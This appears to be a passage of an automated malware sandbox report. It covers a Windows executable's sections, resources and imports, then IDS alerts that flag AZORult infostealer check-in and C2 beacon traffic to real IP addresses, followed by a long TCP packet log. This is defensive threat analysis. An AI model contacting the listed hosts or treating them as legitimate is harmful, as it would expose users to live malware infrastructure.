.ndata	0x2a000	0x1e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x48000	0x21ec0	0x22000	04b2dab8750a2dd5d25db48faa4b505b	False	0.4547119140625	data	6.195982300512267	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x48328	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.22824736779841476
RT_ICON	0x58b50	0x8348	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9947631516305642
RT_ICON	0x60e98	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.3138875767595654
RT_ICON	0x650c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3849585062240664
RT_ICON	0x67668	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.43878986866791747
RT_ICON	0x68710	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.521311475409836
RT_ICON	0x69098	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5913120567375887
RT_DIALOG	0x69500	0x100	data	English	United States	0.5234375
RT_DIALOG	0x69600	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x69720	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x697e8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x69848	0x68	data	English	United States	0.7692307692307693
RT_VERSION	0x698b0	0x2d0	data	English	United States	0.47638888888888886
RT_MANIFEST	0x69b80	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-11T18:23:43.677190+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49709	27.114.150.50	443	TCP
2024-09-11T18:23:46.926092+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49710	104.21.14.133	80	TCP
2024-09-11T18:23:46.926092+0200	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.5	49710	104.21.14.133	80	TCP
2024-09-11T18:23:47.193937+0200	2029136	ET MALWARE AZORult v3.3 Server Response M1	1	104.21.14.133	80	192.168.2.5	49710	TCP
2024-09-11T18:24:02.071604+0200	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.5	49712	104.21.14.133	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 18:23:41.602248907 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:41.602277040 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:41.602511883 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:41.615907907 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:41.615928888 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.153934002 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.154056072 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.199450016 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.199472904 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.199768066 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.199831009 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.202565908 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.247447014 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.677206993 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.677236080 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.677253008 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.677381992 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.677402020 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.677438974 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.677449942 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.875036001 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.875053883 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.875116110 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.875139952 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:43.875149965 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:43.875179052 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.155663967 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.155674934 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.155714989 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.155885935 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.155885935 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.155900955 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.155946970 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.157509089 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.157522917 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.157582045 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.157591105 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.157629013 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.160157919 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.160171032 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.160228968 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.160235882 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.160295010 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.438364983 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.438379049 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.438425064 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.438576937 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.438576937 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.438601971 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.438786030 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.722989082 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.722999096 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.723035097 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.723115921 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.723138094 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.723174095 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.723184109 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.723520041 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.723521948 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.723568916 CEST	443	49709	27.114.150.50	192.168.2.5
Sep 11, 2024 18:23:44.723575115 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:44.723712921 CEST	49709	443	192.168.2.5	27.114.150.50
Sep 11, 2024 18:23:45.149010897 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:45.241995096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:45.242082119 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:45.242350101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:45.321805000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.925896883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.925909996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.925920010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.925971031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926091909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:46.926091909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:46.926091909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:46.926254034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926263094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926273108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926285028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926292896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:46.926297903 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:46.926321030 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:46.926367998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.016369104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.016612053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.084613085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.087140083 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.087191105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.087404966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.092776060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.093017101 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.098345041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.098440886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.103996992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.106014967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.109458923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.110285997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.115082979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.115407944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.120646954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.121079922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.126154900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.126599073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.131619930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.131882906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.137217045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.137294054 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.142733097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.143395901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.148066044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.148175955 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.152127028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.155405045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.155935049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.156380892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.159859896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.160485983 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.161789894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.162022114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.162237883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.162795067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.165668011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.165952921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.165978909 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.167399883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.169523954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.169696093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.169703960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.169823885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.172884941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.173067093 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.173338890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.173377991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.175868034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.176081896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.176103115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.176150084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.176218987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.177319050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.177381992 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.177401066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.178359032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.179127932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.179177999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.179220915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.179220915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.180068970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.180171013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.180425882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.180834055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.181341887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.181464911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.181500912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.181500912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.182555914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.182641029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.182687998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.183677912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.183711052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.183871984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.183914900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.184587955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.184786081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.184803963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.184849024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.185482979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.185575008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.186043024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.186043024 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.186326027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.186777115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.186794043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.187073946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.187139988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.187139988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.187212944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.187252998 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.187810898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.188083887 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.188138008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.188534975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.188544035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.188570023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.188608885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.188608885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.188608885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.189640045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.189656019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.189665079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.189781904 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.189781904 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.190396070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.190418005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.190428019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.190445900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.190610886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.190610886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.191065073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.191114902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.191123009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.191158056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.191168070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.191168070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.191168070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.191299915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192051888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192073107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192080975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192174911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192181110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192181110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192441940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192899942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192949057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192956924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.192996979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192996979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.192996979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.193027973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.193037033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.193073988 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.193937063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.193979979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.193988085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.194021940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.194030046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.194031954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.194031954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.194247007 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.194941044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.194964886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.194973946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195065022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.195065022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.195065022 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.195065975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195074081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195082903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195116997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.195116997 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.195939064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195985079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.195993900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.196008921 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.196023941 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.196031094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.196036100 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.196192026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266777039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266787052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266803026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266813040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266822100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266829967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266839981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266853094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266861916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266861916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266861916 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266872883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266882896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266891003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266900063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:47.266927958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266927958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266927958 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:47.266944885 CEST	49710	80	192.168.2.5	104.21.14.133
